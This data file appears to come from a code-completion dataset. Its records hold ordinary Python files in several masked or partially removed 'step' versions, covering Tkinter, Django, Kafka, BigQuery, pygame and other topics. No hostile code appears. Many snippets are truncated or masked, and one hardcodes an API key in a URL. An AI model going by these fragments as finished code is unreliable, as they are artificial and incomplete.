{ "blob_id": "d88485e37d4df4cb0c8d79124d4c9c9ba18d124e", "index": 9074, "step-1": "#!/usr/bin/python\nfrom Tkinter import *\n\nroot = Tk()\n\nroot.title(\"Simple Graph\")\n\nroot.resizable(0,0)\n\npoints = []\n\nspline = 0\n\ntag1 = \"theline\"\n\ndef point(event):\n\tc.create_oval(event.x, event.y, event.x+1, ev...
[ 0 ]
class Node(): def __init__(self, value): self.value = value self.next = None def linked_list_from_array(arr): head = Node(arr[0]) cur = head for i in range(1, len(arr)): cur.next = Node(arr[i]) cur = cur.next return head def array_from_linked_list(head): arr = [] cur = head whil...
normal
{ "blob_id": "e1eb86480fa4eadabf05f10cc54ff9daa790438c", "index": 3935, "step-1": "class Node:\n\n def __init__(self, value):\n self.value = value\n self.next = None\n\n\n<mask token>\n\n\ndef array_from_linked_list(head):\n arr = []\n cur = head\n while cur:\n arr.append(cur.valu...
[ 3, 5, 7, 8, 9 ]
<|reserved_special_token_0|> def historic_data(url): csv_data = urllib2.urlopen(url) csv_reader = list(csv.reader(csv_data, delimiter=',')) return csv_reader[-1] <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def get_last_element_timestamp(url): conn = ur...
flexible
{ "blob_id": "81f75498afcca31e38ea7856c81c291af3ef6673", "index": 7151, "step-1": "<mask token>\n\n\ndef historic_data(url):\n csv_data = urllib2.urlopen(url)\n csv_reader = list(csv.reader(csv_data, delimiter=','))\n return csv_reader[-1]\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef get_last...
[ 1, 3, 4, 5, 6 ]
class Point: <|reserved_special_token_0|> def __str__(self): return '({0},{1})'.format(self.x, self.y) def __add__(self, other): self.x = self.x + other.x self.y = self.y + other.y return Point(self.x, self.y) <|reserved_special_token_0|> <|reserved_special_token_1|> c...
flexible
{ "blob_id": "1bebd3c18742f5362d2e5f22c539f6b13ad58d2a", "index": 2873, "step-1": "class Point:\n <mask token>\n\n def __str__(self):\n return '({0},{1})'.format(self.x, self.y)\n\n def __add__(self, other):\n self.x = self.x + other.x\n self.y = self.y + other.y\n return Poin...
[ 3, 4, 5, 6, 7 ]
from pymongo import MongoClient import Config DB = Config.DB COLLECTION = Config.COLLECTION def connectMongo(): uri = "mongodb://localhost" client = MongoClient(uri) return client[DB] def connectMongoCollection(collection = COLLECTION): uri = "mongodb://localhost" client = MongoClient(uri) db = client[DB] re...
normal
{ "blob_id": "7a5106456d0fdd905829c5aa1f4a69b027f3a04c", "index": 4198, "step-1": "<mask token>\n\n\ndef connectMongoCollection(collection=COLLECTION):\n uri = 'mongodb://localhost'\n client = MongoClient(uri)\n db = client[DB]\n return db[collection]\n", "step-2": "<mask token>\n\n\ndef connectMong...
[ 1, 2, 3, 4, 5 ]
import numpy as np def SO3_to_R3(x_skew): x = np.zeros((3, 1)) x[0, 0] = -1 * x_skew[1, 2] x[1, 0] = x_skew[0, 2] x[2, 0] = -1 * x_skew[0, 1] return x
normal
{ "blob_id": "97bff6eb0cd16c915180cb634e6bf30e17adfdef", "index": 2080, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef SO3_to_R3(x_skew):\n x = np.zeros((3, 1))\n x[0, 0] = -1 * x_skew[1, 2]\n x[1, 0] = x_skew[0, 2]\n x[2, 0] = -1 * x_skew[0, 1]\n return x\n", "step-3": "import nu...
[ 0, 1, 2 ]
<|reserved_special_token_0|> class JamfScriptUploader(JamfUploaderBase): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_specia...
flexible
{ "blob_id": "35d99713df754052a006f76bb6f3cfe9cf875c0b", "index": 3993, "step-1": "<mask token>\n\n\nclass JamfScriptUploader(JamfUploaderBase):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass JamfScriptUploader(J...
[ 1, 4, 5, 7, 8 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def test_send_requirements(config): handler = EmailHandler(config) with pytest.raises(InsuficientInformation): handler.publish({}) with pytest.raises(InsuficientInformation): handler.publish({'recipie...
flexible
{ "blob_id": "e2d8a1e13a4162cd606eec12530451ab230c95b6", "index": 3103, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef test_send_requirements(config):\n handler = EmailHandler(config)\n with pytest.raises(InsuficientInformation):\n handler.publish({})\n with pytest.raises(Insuficie...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> class FunctionalTest(TestCase): def setUp(self): self.browser = webdriver.Chrome('C:\\chromedriver\\chromedriver.exe') self.browser.implicitly_wait(2) def tearDown(self): self.browser.quit() <|reserved_special_token_0|> <|reserved_special_token_0|...
flexible
{ "blob_id": "fc4cf800c663abf20bfba7fcc1032e09a992641b", "index": 5334, "step-1": "<mask token>\n\n\nclass FunctionalTest(TestCase):\n\n def setUp(self):\n self.browser = webdriver.Chrome('C:\\\\chromedriver\\\\chromedriver.exe')\n self.browser.implicitly_wait(2)\n\n def tearDown(self):\n ...
[ 6, 7, 9, 13, 14 ]
from django.urls import path from .views import FirstModelView urlpatterns = [path('firstModel', FirstModelView.as_view())]
normal
{ "blob_id": "4efd22d132accd0f5945a0c911b73b67654b92e4", "index": 9358, "step-1": "<mask token>\n", "step-2": "<mask token>\nurlpatterns = [path('firstModel', FirstModelView.as_view())]\n", "step-3": "from django.urls import path\nfrom .views import FirstModelView\nurlpatterns = [path('firstModel', FirstModel...
[ 0, 1, 2 ]
<|reserved_special_token_0|> def transform(x): if x == 'Kama': return 0 elif x == 'Rosa': return 1 else: return 2 <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def transform(x): if x == 'Kama': return 0 elif x == 'Rosa...
flexible
{ "blob_id": "ef04e808a2a0e6570b28ef06784322e0b2ca1f8f", "index": 4774, "step-1": "<mask token>\n\n\ndef transform(x):\n if x == 'Kama':\n return 0\n elif x == 'Rosa':\n return 1\n else:\n return 2\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef transform(x):\n if x == 'K...
[ 1, 2, 3, 4, 5 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for filename in os.listdir('/home/asket/Desktop/DBMS/menu'): print(filename) <|reserved_special_token_1|> <|reserved_special_token_0|> mylist = [] clist = ['North Indian', 'Italian', 'Continental', 'Chinese', 'Mexican', ...
flexible
{ "blob_id": "965db2523f60d83bd338bcc62ab8e5705550aa89", "index": 6606, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor filename in os.listdir('/home/asket/Desktop/DBMS/menu'):\n print(filename)\n", "step-3": "<mask token>\nmylist = []\nclist = ['North Indian', 'Italian', 'Continental', 'Chinese',...
[ 0, 1, 2, 3, 4 ]
""" TestRail API Categories """ from . import _category from ._session import Session class TestRailAPI(Session): """Categories""" @property def attachments(self) -> _category.Attachments: """ https://www.gurock.com/testrail/docs/api/reference/attachments Use the following API me...
normal
{ "blob_id": "c2467e94a2ad474f0413e7ee3863aa134bf9c51f", "index": 3399, "step-1": "<mask token>\n\n\nclass TestRailAPI(Session):\n <mask token>\n\n @property\n def attachments(self) ->_category.Attachments:\n \"\"\"\n https://www.gurock.com/testrail/docs/api/reference/attachments\n U...
[ 17, 20, 21, 22, 24 ]
from nltk.corpus import stopwords from nltk.tokenize import word_tokenize #Print Stop words stop_words = set(stopwords.words("english")) print(stop_words) example_text = "This is general sentence to just clarify if stop words are working or not. I have some awesome projects coming up" words = word_tokenize(...
normal
{ "blob_id": "90f5629ac48edfccea57243ffb6188a98123367d", "index": 5197, "step-1": "from nltk.corpus import stopwords\r\nfrom nltk.tokenize import word_tokenize\r\n\r\n#Print Stop words\r\nstop_words = set(stopwords.words(\"english\"))\r\nprint(stop_words)\r\n\r\nexample_text = \"This is general sentence to just c...
[ 0 ]
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations import versatileimagefield.fields class Migration(migrations.Migration): dependencies = [ ('venue', '0001_initial'), ] operations = [ migrations.CreateModel( name='Images...
normal
{ "blob_id": "09bf7460b2c928bf6e1346d9d1e2e1276540c080", "index": 3099, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('venue', '00...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for i in range(10): count = 0 for j in range(len(num)): if i == int(num[j]): count += 1 else: continue print(count) <|reserved_special_token_1|> A = int(input()) B = int(input...
flexible
{ "blob_id": "b43ea8c32207bf43abc3b9b490688fde0706d876", "index": 4633, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor i in range(10):\n count = 0\n for j in range(len(num)):\n if i == int(num[j]):\n count += 1\n else:\n continue\n print(count)\n", "step-...
[ 0, 1, 2, 3 ]
# -*- coding: utf-8 -*- __author__ = 'jz' from flask.ext import restful from flask.ext.restful import reqparse from scs_app.db_connect import * parser = reqparse.RequestParser() parser.add_argument('count', type=str) class MulActionResource(restful.Resource): def __init__(self): self.db =...
normal
{ "blob_id": "44476a32b8ab68820d73955321e57b7d1b608beb", "index": 6823, "step-1": "<mask token>\n\n\nclass MulActionResource(restful.Resource):\n\n def __init__(self):\n self.db = get_connection()\n\n def post(self, type):\n args = parser.parse_args()\n count = args.get('count')\n ...
[ 3, 4, 5, 6, 7 ]
import math_series.series as func """ Testing for fibonacci function """ def test_fibonacci_zero(): actual = func.fibonacci(0) expected = 0 assert actual == expected def test_fibonacci_one(): actual = func.fibonacci(1) expected = 1 assert actual == expected def test_fibonacci_negative():...
normal
{ "blob_id": "49722f640eec02029865fd702e13e485eda6391b", "index": 8126, "step-1": "<mask token>\n\n\ndef test_fibonacci_zero():\n actual = func.fibonacci(0)\n expected = 0\n assert actual == expected\n\n\ndef test_fibonacci_one():\n actual = func.fibonacci(1)\n expected = 1\n assert actual == ex...
[ 8, 9, 11, 13, 14 ]
import time if __name__ == '__main__': for i in range(10): print('here %s' % i) time.sleep(1) print('TEST SUCEEDED')
normal
{ "blob_id": "a159f9f9cc06bb9d22f84781fb2fc664ea204b64", "index": 6856, "step-1": "<mask token>\n", "step-2": "<mask token>\nif __name__ == '__main__':\n for i in range(10):\n print('here %s' % i)\n time.sleep(1)\n print('TEST SUCEEDED')\n", "step-3": "import time\nif __name__ == '__main__...
[ 0, 1, 2 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> session.add(user_1) session.commit() <|reserved_special_token_0|> session.add(country_1) session.commit() <|reserved_special_token_0|> session.add(country_2) session.commit() <|reserved_special_token_0|> session.add(country_3) ses...
flexible
{ "blob_id": "21b9844fce10d16a14050a782ce7e15e3f6fb657", "index": 5737, "step-1": "<mask token>\n", "step-2": "<mask token>\nsession.add(user_1)\nsession.commit()\n<mask token>\nsession.add(country_1)\nsession.commit()\n<mask token>\nsession.add(country_2)\nsession.commit()\n<mask token>\nsession.add(country_3)...
[ 0, 1, 2, 3, 4 ]
import requests #!/usr/bin/env python from confluent_kafka import Producer, KafkaError import json import ccloud_lib delivered_records = 0 url = "https://api.mockaroo.com/api/cbb61270?count=1000&key=5a40bdb0" # Optional per-message on_delivery handler (triggered by poll() or flush()) # when a message has be...
normal
{ "blob_id": "b4f522398cd2658c2db926216e974781e10c44df", "index": 7897, "step-1": "<mask token>\n\n\ndef get_data():\n r = requests.get(url)\n return '{ \"data\": ' + str(r.text) + '}'\n\n\ndef main():\n args = ccloud_lib.parse_args()\n config_file = args.config_file\n topic = args.topic\n conf ...
[ 2, 4, 5, 6, 7 ]
# Generated by Django 2.1.3 on 2019-04-10 11:04 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blog', '0014_auto_20190409_1917'), ] operations = [ migrations.AlterField( model_name='article', name='estArchive', ...
normal
{ "blob_id": "21c8078a18ee4579fa9b4b1b667d6ea0c1ce99b3", "index": 6005, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('blog', '001...
[ 0, 1, 2, 3, 4 ]
def solution(A): if not A: return 1 elif len(A) == 1: if A[0] == 1: return 2 else: return 1 A.sort() prev = 0 for i in A: if i != (prev + 1): return i - 1 else: prev = i return prev + 1
normal
{ "blob_id": "8c3c066ed37fe0f67acfd2d5dc9d57ec2b996275", "index": 5640, "step-1": "<mask token>\n", "step-2": "def solution(A):\n if not A:\n return 1\n elif len(A) == 1:\n if A[0] == 1:\n return 2\n else:\n return 1\n A.sort()\n prev = 0\n for i in A:\n...
[ 0, 1, 2 ]
<|reserved_special_token_0|> class Tests(unittest.TestCase): def test_singleton(self): lev1, lev2 = Levenshtein(), Levenshtein() self.assertIs(lev1, lev2) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Tests(unittest.TestCase): def test_si...
flexible
{ "blob_id": "892d6662e4276f96797c9654d15c96a608d0835a", "index": 8927, "step-1": "<mask token>\n\n\nclass Tests(unittest.TestCase):\n\n def test_singleton(self):\n lev1, lev2 = Levenshtein(), Levenshtein()\n self.assertIs(lev1, lev2)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass Tes...
[ 2, 3, 4, 5, 7 ]
<|reserved_special_token_0|> class Food: <|reserved_special_token_0|> def draw(self): seq = [self.food1, self.food2] self.parent_screen.blit(random.choice(seq), (self.food_x, self.food_y)) pygame.display.flip() def move(self): self.food_x = random.randint(0, W // SIZE - 1...
flexible
{ "blob_id": "935853a4afdb50a4652e14913d0cdb251a84ea14", "index": 6427, "step-1": "<mask token>\n\n\nclass Food:\n <mask token>\n\n def draw(self):\n seq = [self.food1, self.food2]\n self.parent_screen.blit(random.choice(seq), (self.food_x, self.food_y))\n pygame.display.flip()\n\n d...
[ 17, 26, 29, 30, 31 ]
<|reserved_special_token_0|> class Solution: <|reserved_special_token_0|> def addLists(self, l1, l2): res = ListNode(0) p = res carry = 0 while l1 or l2 or carry: num = 0 if l1: num += l1.val l1 = l1.next if l...
flexible
{ "blob_id": "8909ee9c54a234222a41249e1f3005fd86e21cf0", "index": 1782, "step-1": "<mask token>\n\n\nclass Solution:\n <mask token>\n\n def addLists(self, l1, l2):\n res = ListNode(0)\n p = res\n carry = 0\n while l1 or l2 or carry:\n num = 0\n if l1:\n ...
[ 2, 3, 4, 5 ]
import numpy as np import cv2 import sys import math cap = cv2.VideoCapture(0) while(True): _, img = cap.read() #gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY) img = cv2.imread("zielfeld_mit_Zeugs_2.png") #img = cv2.imread("zielfeld_mit_Zeugs_2.jpg") #imS = cv2.resize(img, (480, 480...
normal
{ "blob_id": "3f5ae2b25fc506b980de3ee87c952ff699e10003", "index": 4977, "step-1": "import numpy as np\r\nimport cv2\r\nimport sys\r\nimport math\r\n\r\n\r\n\r\ncap = cv2.VideoCapture(0)\r\n\r\nwhile(True):\r\n _, img = cap.read()\r\n #gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\r\n\r\n img = cv2.imread(\...
[ 0 ]
#!/usr/bin/env python """ Usage: generate-doc <layer-definition> generate-doc --help generate-doc --version Options: --help Show this screen. --version Show version. """ from docopt import docopt import openmaptiles from openmaptiles.tileset import Layer from openmaptiles.docs import ...
normal
{ "blob_id": "991b894c4c0fb9cb90aef0542227e001a3a3bb0d", "index": 9651, "step-1": "<mask token>\n", "step-2": "<mask token>\nif __name__ == '__main__':\n args = docopt(__doc__, version=openmaptiles.__version__)\n layer = Layer.parse(args['<layer-definition>'])\n markdown = collect_documentation(layer)\...
[ 0, 1, 2, 3 ]
# Generated by Django 2.1.7 on 2019-04-01 14:37 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('submissions', '0004_auto_20190401_1834'), ] operations = [ migrations.AlterField( model_name='mainsubmission', name=...
normal
{ "blob_id": "3fed8723d215bce3cf391752e07ca85b2d6701a3", "index": 3410, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('submissions...
[ 0, 1, 2, 3, 4 ]
TABLE_NAME = 'active_module'
normal
{ "blob_id": "ff3962d875da8e3f9e6c3178b1a8191ebb8a7b60", "index": 3639, "step-1": "<mask token>\n", "step-2": "TABLE_NAME = 'active_module'\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }
[ 0, 1 ]
__version__ = '0.90.03'
normal
{ "blob_id": "284e4f79748c17d44518f2ce424db5b1697373dc", "index": 3156, "step-1": "<mask token>\n", "step-2": "__version__ = '0.90.03'\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }
[ 0, 1 ]
<|reserved_special_token_0|> def main(): global dynamodb_client global dynamodb_resource global na_table global canada_table global usa_table global mexico_table global total_can_usa global total_can_usa_mex global total_neither argc = len(sys.argv) bad_usage_flag = False ...
flexible
{ "blob_id": "05186093820dffd047b0e7b5a69eb33f94f78b80", "index": 6787, "step-1": "<mask token>\n\n\ndef main():\n global dynamodb_client\n global dynamodb_resource\n global na_table\n global canada_table\n global usa_table\n global mexico_table\n global total_can_usa\n global total_can_us...
[ 5, 6, 7, 9, 10 ]
#!/usr/bin/env python ##!/work/local/bin/python ##!/work/local/CDAT/bin/python import sys,getopt import matplotlib.pyplot as plt def read(): x = [] y = [] for line in sys.stdin: v1,v2 = line.split()[:2] x.append(float(v1)) y.append(float(v2)) return x,y #def plot(x,y): def ...
normal
{ "blob_id": "b16ad4bae079159da7ef88b61081d7763d4ae9a0", "index": 8312, "step-1": "#!/usr/bin/env python\n##!/work/local/bin/python\n##!/work/local/CDAT/bin/python\n\nimport sys,getopt\nimport matplotlib.pyplot as plt\n\n\ndef read():\n\n x = []\n y = []\n for line in sys.stdin:\n v1,v2 = line.spl...
[ 0 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def csv_loader(data, context): client = bigquery.Client() dataset_id = os.environ['DATASET'] dataset_ref = client.dataset(dataset_id) job_config = bigquery.LoadJobConfig() job_config.schema = [bigquery.Schema...
flexible
{ "blob_id": "01467a4dad3255a99025c347469881a71ffbae7c", "index": 8179, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef csv_loader(data, context):\n client = bigquery.Client()\n dataset_id = os.environ['DATASET']\n dataset_ref = client.dataset(dataset_id)\n job_config = bigquery.LoadJob...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def bilateral_median_filter(flow, log_occlusen, auxiliary_field, image, weigth_auxiliary, weigth_filter, sigma_distance=7, sigma_color=7 / 200, filter_size=5): """ :param flow: np.float (YX,Height,Width) :pa...
flexible
{ "blob_id": "1748c8dfcc3974b577d7bfacb5cabe4404b696bc", "index": 612, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef bilateral_median_filter(flow, log_occlusen, auxiliary_field, image,\n weigth_auxiliary, weigth_filter, sigma_distance=7, sigma_color=7 / 200,\n filter_size=5):\n \"\"\"\n\...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> class GameController: <|reserved_special_token_0|> @staticmethod def get_instance(): if GameController.instance is None: GameController() return GameController.instance <|reserved_special_token_0|> def start_game(self): View.start_...
flexible
{ "blob_id": "d9b405d5159a153fb8d2f1991ceb3dc47f98bcbc", "index": 9192, "step-1": "<mask token>\n\n\nclass GameController:\n <mask token>\n\n @staticmethod\n def get_instance():\n if GameController.instance is None:\n GameController()\n return GameController.instance\n <mask t...
[ 3, 4, 5, 6 ]
#Arushi Patel (aruship) from tkinter import * import random ###################################### #images taken from wikipedia,pixabay, #trans americas, clipartpanda,pngimg, #findicons, microsoft word ###################################### #################################### # init #####################...
normal
{ "blob_id": "c893095be88636e6cb06eb3b939d8106fbb7a8ca", "index": 470, "step-1": "<mask token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n ...
[ 66, 79, 82, 95, 104 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for i in range(3): for j in range(4): c[i][j] = a[i][j] + b[j] print(c) <|reserved_special_token_0|> print(d) <|reserved_special_token_1|> <|reserved_special_token_0|> a = np.ones((3, 4)) b = np.ones((4, 1)) c = np....
flexible
{ "blob_id": "d6213698423902771011caf6b5206dd4e3b27450", "index": 5753, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor i in range(3):\n for j in range(4):\n c[i][j] = a[i][j] + b[j]\nprint(c)\n<mask token>\nprint(d)\n", "step-3": "<mask token>\na = np.ones((3, 4))\nb = np.ones((4, 1))\nc =...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> def handler(event, data): if event == _IRQ_SCAN_RESULT: addr_type, addr, adv_type, rssi, adv_data = data print(addr_type, memoryview(addr), adv_type, rssi, memoryview(adv_data) ) for i in addr: print('{0:x}'.format(i)) print(byte...
flexible
{ "blob_id": "99c60befed32a9aa80b6e66b682d9f475e05a8d1", "index": 2562, "step-1": "<mask token>\n\n\ndef handler(event, data):\n if event == _IRQ_SCAN_RESULT:\n addr_type, addr, adv_type, rssi, adv_data = data\n print(addr_type, memoryview(addr), adv_type, rssi, memoryview(adv_data)\n ...
[ 2, 5, 6, 7, 8 ]
import hashlib def md5_hexdigest(data): return hashlib.md5(data.encode('utf-8')).hexdigest() def sha1_hexdigest(data): return hashlib.sha1(data.encode('utf-8')).hexdigest() def sha224_hexdigest(data): return hashlib.sha224(data.encode('utf-8')).hexdigest() def sha256_hexdigest(data): return hash...
normal
{ "blob_id": "35a95c49c2dc09b528329433a157cf313cf59667", "index": 8955, "step-1": "<mask token>\n\n\ndef md5_hexdigest(data):\n return hashlib.md5(data.encode('utf-8')).hexdigest()\n\n\ndef sha1_hexdigest(data):\n return hashlib.sha1(data.encode('utf-8')).hexdigest()\n\n\ndef sha224_hexdigest(data):\n re...
[ 4, 5, 6, 7 ]
#!/usr/bin/env python import pygame import pygame.mixer as mixer def pre_init(): mixer.pre_init(22050, -16, 2, 2048) def init(): mixer.init() pygame.mixer.set_num_channels(16) def deinit(): mixer.quit() class Music (object): our_music_volume = 0.8 our_current_music = None def __in...
normal
{ "blob_id": "2caea9e7bbef99b19ba917995513413385c7abdf", "index": 9808, "step-1": "<mask token>\n\n\nclass Music(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n @staticmethod\n def ...
[ 12, 18, 21, 24, 25 ]
import pandas as pd import numpy as np class LabeledArray: @staticmethod def get_label_for_indexes_upto(input_data, input_label, input_index): df_input_data = pd.DataFrame(input_data) df_labels = pd.DataFrame(input_label) df_data_labels = pd.concat([df_input_data, df_labels], axis=1) ...
normal
{ "blob_id": "0dea8675d8050a91c284a13bcbce6fd0943b604e", "index": 5135, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass LabeledArray:\n <mask token>\n", "step-3": "<mask token>\n\n\nclass LabeledArray:\n\n @staticmethod\n def get_label_for_indexes_upto(input_data, input_label, input_in...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def is_huge(A, B): return A[0] > B[0] and A[1] > B[1] <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def is_huge(A, B): return A[0] > B[0] and A[1] > B[1] if __name__ == '...
flexible
{ "blob_id": "5dc8f420e16ee14ecfdc61413f10a783e819ec32", "index": 506, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef is_huge(A, B):\n return A[0] > B[0] and A[1] > B[1]\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef is_huge(A, B):\n return A[0] > B[0] and A[1] > B[1]\n\n\nif __nam...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> @h1_wrap def say_hi(name): return 'Hello, ' + name.capitalize() <|reserved_special_token_0|> <|reserved_special_token_1|> def h1_wrap(func): def func_wrapper(param): return '<h1>' + func(param) + '</h1>' ...
flexible
{ "blob_id": "9c9005acb40e4b89ca215345361e21f08f984847", "index": 5735, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\n@h1_wrap\ndef say_hi(name):\n return 'Hello, ' + name.capitalize()\n\n\n<mask token>\n", "step-3": "def h1_wrap(func):\n\n def func_wrapper(param):\n return '<h1>' + fu...
[ 0, 1, 2, 3, 4 ]
# -*- coding: utf-8 -*- # Resource object code # # Created by: The Resource Compiler for PyQt5 (Qt v5.15.0) # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore qt_resource_data = b"\ \x00\x00\x01\xde\ \x89\ \x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\ \x00\x00\x28\x...
normal
{ "blob_id": "dbf831540d11a994d5483dc97c7eab474f91f0d3", "index": 8118, "step-1": "<mask token>\n\n\ndef qInitResources():\n QtCore.qRegisterResourceData(rcc_version, qt_resource_struct,\n qt_resource_name, qt_resource_data)\n\n\ndef qCleanupResources():\n QtCore.qUnregisterResourceData(rcc_version, ...
[ 2, 3, 4, 5, 6 ]
from ...java import opcodes as JavaOpcodes from .primitives import ICONST_val ########################################################################## # Common Java operations ########################################################################## class New: def __init__(self, classname): self.clas...
normal
{ "blob_id": "67e0536dc9f38ab82fe30e715599fed93c5425a5", "index": 5142, "step-1": "<mask token>\n\n\nclass Array:\n\n def __init__(self, size, classname='org/python/Object', fill=None):\n self.size = size\n self.classname = classname\n self.fill = fill\n\n def process(self, context):\n ...
[ 12, 15, 16, 18, 23 ]
"""URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.10/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based ...
normal
{ "blob_id": "312a95c9514722157653365104d8cd0ada760ce8", "index": 8084, "step-1": "<mask token>\n", "step-2": "<mask token>\nurlpatterns = [url('^$', TemplateView.as_view(template_name=\n 'visitor/landing-index.html'), name='landing_index'), url('^about$',\n TemplateView.as_view(template_name='visitor/lan...
[ 0, 1, 2, 3 ]
from PIL import Image source = Image.open("map4.png") img = source.load() map_data = {} curr_x = 1 curr_y = 1 #Go over each chunk and get the pixel info for x in range(0, 100, 10): curr_x = x+1 for y in range(0, 100, 10): curr_y = y+1 chunk = str(curr_x)+"X"+str(curr_y) if chunk not in map_data: map_data[...
normal
{ "blob_id": "297b2ff6c6022bd8aac09c25537a132f67e05174", "index": 525, "step-1": "from PIL import Image\n\nsource = Image.open(\"map4.png\")\nimg = source.load()\n\nmap_data = {}\n\ncurr_x = 1\ncurr_y = 1\n#Go over each chunk and get the pixel info\nfor x in range(0, 100, 10):\n\tcurr_x = x+1\n\tfor y in range(0,...
[ 0 ]
# -*- coding: utf-8 -*- # Copyright (c) 2017 Feng Shuo # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 from itertools impo...
normal
{ "blob_id": "a299bd230a25a646060f85cffc8e84c534e2f805", "index": 8185, "step-1": "# -*- coding: utf-8 -*-\n# Copyright (c) 2017 Feng Shuo\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a cop...
[ 0 ]
<|reserved_special_token_0|> class RawDataSettingsV1(object): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def __init__(self, data_aggregation_setting=None, raw_data_setting=None, units_setting=None, work_hours_setting...
flexible
{ "blob_id": "25d4fa44cb17048301076391d5d67ae0b0812ac7", "index": 3988, "step-1": "<mask token>\n\n\nclass RawDataSettingsV1(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, data_aggregation_setting=None, raw_data_setting=None,\n units_setting=None,...
[ 8, 15, 17, 18, 19 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> @mock_post_router.get('/mock_posts', url_name='mock_post_list', summary= '전체 mock post의 list를 반환한다', response={(200): None}) def retrieve_all_mock_posts(request): return HTTPStatus.OK <|reserved_special_token_1|> <|re...
flexible
{ "blob_id": "dcb57ecf2c72b8ac816bb06986d80544ff97c669", "index": 5915, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\n@mock_post_router.get('/mock_posts', url_name='mock_post_list', summary=\n '전체 mock post의 list를 반환한다', response={(200): None})\ndef retrieve_all_mock_posts(request):\n return HT...
[ 0, 1, 2, 3, 4 ]
from farmfs.fs import Path, ensure_link, ensure_readonly, ensure_symlink, ensure_copy, ftype_selector, FILE, is_readonly from func_prototypes import typed, returned from farmfs.util import safetype, pipeline, fmap, first, compose, invert, partial, repeater from os.path import sep from s3lib import Connection as s3conn,...
normal
{ "blob_id": "4fb1ece28cd7c6e2ac3a479dcbf81ee09ba14223", "index": 3096, "step-1": "<mask token>\n\n\nclass FileBlobstore:\n <mask token>\n\n def _csum_to_name(self, csum):\n \"\"\"Return string name of link relative to root\"\"\"\n return _checksum_to_path(csum)\n <mask token>\n <mask to...
[ 8, 12, 16, 20, 27 ]